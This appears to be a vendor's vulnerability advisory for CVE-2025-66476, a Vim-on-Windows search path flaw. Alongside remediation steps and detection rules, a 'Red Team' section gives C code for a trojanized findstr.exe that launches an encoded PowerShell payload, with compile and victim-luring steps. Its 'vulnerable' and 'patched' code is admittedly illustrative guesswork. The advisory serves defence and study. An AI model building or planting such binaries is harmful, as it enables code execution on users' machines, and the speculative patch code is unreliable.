CVE-2025-66476
Executive Summary
CVE-2025-66476 is a high-severity uncontrolled search path vulnerability affecting Vim on Windows. When using cmd.exe as the shell, Vim searches the current working directory before system paths when resolving external commands. This allows an attacker to place a malicious executable (e.g., findstr.exe, grep.exe, or any command invoked via :!, :grep, :make, or compiler commands) in the same directory as the file being edited. When Vim executes the command, it runs the attacker's payload instead of the legitimate system binary, leading to arbitrary code execution with the user's privileges.
The vulnerability is unpatched in versions prior to 9.1.1947. No public exploit code or proof-of-concept is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a core Vim binary issue on Windows. However, if Vim is distributed via package managers like Chocolatey or Scoop, users should ensure they update to the patched version.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (requires user to open a file in a directory containing a malicious executable)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (user must open a file in the attacker-controlled directory)
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. While not remotely exploitable, the impact is severe if an attacker can trick a user into opening a file from a malicious directory.
Deep Dive & Mechanics
The vulnerability stems from Windows' default command resolution behavior when using cmd.exe. When Vim executes an external command (e.g., :!dir, :grep, :make), it calls cmd.exe with the command string. cmd.exe searches for executables in the following order:
- Current working directory
- System PATH directories
If an attacker places a malicious findstr.exe (or any other command Vim might invoke) in the same directory as the file being edited, Vim will execute that malicious binary instead of the legitimate system tool.
Key affected Vim commands:
:!(shell commands):grep(usesfindstron Windows):make(compiler commands):compiler(compiler settings)- Any plugin or script that calls external commands
Why this is dangerous: An attacker can craft a malicious executable that mimics the original command's behavior but also executes a payload (e.g., reverse shell, data exfiltration). The user would see normal output, making detection difficult.
Vulnerable vs. Patched Code
Vulnerable (pre-9.1.1947):
Vim on Windows uses cmd.exe without sanitizing the command path. The shell resolution follows Windows default behavior, searching the current directory first.
// Simplified vulnerable code path
void execute_external_command(char *cmd) {
// On Windows, this calls cmd.exe /c <cmd>
// cmd.exe searches CWD first
system(cmd);
}
Patched (9.1.1947+):
Vim now explicitly uses absolute paths for known external commands or forces the shell to skip the current directory. The patch modifies the command resolution to use where.exe or similar to find the system binary first.
// Patched code path
void execute_external_command(char *cmd) {
// Use absolute path for known commands
char *safe_cmd = resolve_system_path(cmd);
// Or use cmd.exe /c with explicit path
system(safe_cmd);
}
Note: The exact patch details are not publicly available, but the fix involves changing how Vim resolves external commands on Windows.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Windows machine with Vim < 9.1.1947
- Ability to place files in a directory the victim will open
Exploitation Steps:
- Create a malicious executable that mimics a common Vim command (e.g.,
findstr.exe). The executable should:- Execute the original command's functionality (to avoid suspicion)
- Run a payload (e.g., reverse shell, keylogger)
// malicious_findstr.c
#include <windows.h>
#include <stdlib.h>
int main() {
// Execute original findstr with arguments
system("C:\\Windows\\System32\\findstr.exe %*");
// Execute payload
system("powershell -enc <base64_payload>");
return 0;
}
- Compile the malicious executable:
gcc -o findstr.exe malicious_findstr.c
Place
findstr.exein a directory containing a text file.Trick victim into opening the text file with Vim and running
:grepor:!findstr.
Expected Result: The malicious findstr.exe runs, executing the payload.
Blue Team
Detection:
- Monitor for unexpected executables in directories where Vim is used
- Look for
cmd.exespawning unusual child processes - Check for Vim processes executing commands from non-standard paths
Hunting Query (Sysmon):
<EventID>1</EventID>
<Image>cmd.exe</Image>
<ParentImage>vim.exe</ParentImage>
<CommandLine>*findstr*</CommandLine>
Prevention:
- Use
set shell=C:\Windows\System32\cmd.exein Vim config to force absolute path - Restrict write permissions to directories where Vim is used
- Use AppLocker or WDAC to block untrusted executables
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | findstr.exe in non-system directories |
Malicious executable masquerading as system tool |
| File | grep.exe in non-system directories |
Same technique for grep |
| Process | cmd.exe spawned by vim.exe with unusual child |
Vim executing external commands |
| Process | Unknown executable in user's temp or working directory | Payload execution |
| Network | Outbound connection from findstr.exe or similar |
Reverse shell or data exfiltration |
Detection Engineering
YARA Rule
rule CVE_2025_66476_Vim_Uncontrolled_Search_Path {
meta:
description = "Detects malicious executables exploiting CVE-2025-66476 in Vim on Windows"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66476"
severity = "high"
strings:
$s1 = "findstr" nocase
$s2 = "grep" nocase
$s3 = "cmd.exe" nocase
$s4 = "vim.exe" nocase
condition:
(uint16(0) == 0x5A4D) and // MZ header
(
($s1 or $s2) and
(for any of ($s3, $s4): (# > 0))
)
}
Sigma Rule
title: Vim Uncontrolled Search Path Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Vim executing external commands from non-standard paths
author: Valters IT
date: 2025-04-10
references:
- CVE-2025-66476
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\vim.exe'
Image|endswith: '\cmd.exe'
CommandLine|contains:
- 'findstr'
- 'grep'
- 'make'
- 'compiler'
filter:
CommandLine|contains: 'C:\Windows\System32'
condition: selection and not filter
falsepositives:
- Legitimate use of Vim with custom shell scripts
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66476 Vim Uncontrolled Search Path - Potential Payload"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"findstr"; nocase; within:100; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Vim to version 9.1.1947 or later.
- If upgrade is not possible, set the shell to use absolute paths:
set shell=C:\Windows\System32\cmd.exe - Avoid opening files from untrusted directories with Vim.
Long-term:
- Implement application whitelisting (AppLocker, WDAC) to block untrusted executables.
- Use Vim's
shellxquoteandshellxescapeoptions to sanitize commands. - Monitor for suspicious process creation from Vim.
Workaround:
- Use
:!C:\Windows\System32\findstr.exeexplicitly instead of relying on path resolution.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert